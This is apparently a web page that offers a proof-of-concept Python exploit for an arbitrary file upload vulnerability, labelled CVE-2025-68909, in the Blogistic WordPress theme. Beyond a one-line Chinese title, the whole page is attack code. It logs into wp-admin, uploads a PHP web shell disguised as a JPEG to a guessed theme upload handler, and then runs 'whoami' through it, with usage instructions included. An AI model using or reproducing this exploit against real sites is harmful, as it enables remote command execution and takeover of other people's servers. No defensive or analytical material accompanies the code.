CVE-2025-68909 WordPress Blogistic主题任意文件上传漏洞

#!/usr/bin/env python3 # CVE-2025-68909 PoC - Blogistic WordPress Theme Arbitrary File Upload # This PoC demonstrates uploading a PHP web shell to a vulnerable Blogistic theme import requests import sys def upload_webshell(target_url, wp_admin_user, wp_admin_pass): """ Upload a PHP webshell to vulnerable Blogistic theme """ # Login to WordPress admin login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': wp_admin_user, 'pwd': wp_admin_pass, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print("[*] Logging into WordPress admin...") response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Prepare malicious PHP file webshell_content = "<?php system($_GET['cmd']); ?>" # Upload endpoint - typically in theme's includes or upload handler upload_url = f"{target_url}/wp-content/themes/blogistic/includes/upload-handler.php" files = { 'file': ('shell.php', webshell_content, 'image/jpeg') } print("[*] Uploading malicious PHP file...") try: response = session.post(upload_url, files=files, timeout=10) # Check if upload was successful if response.status_code == 200: print("[+] File uploaded successfully!") # Try to locate the uploaded file uploaded_url = f"{target_url}/wp-content/uploads/shell.php" verify = requests.get(uploaded_url, params={'cmd': 'whoami'}) if verify.status_code == 200: print(f"[+] Webshell uploaded at: {uploaded_url}") print(f"[+] Example command: {uploaded_url}?cmd=whoami") return True except Exception as e: print(f"[-] Upload failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python3 {sys.argv[0]} <target_url> <admin_user> <admin_pass>") print(f"Example: python3 {sys.argv[0]} http://target.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] password = sys.argv[3] upload_webshell(target, user, password)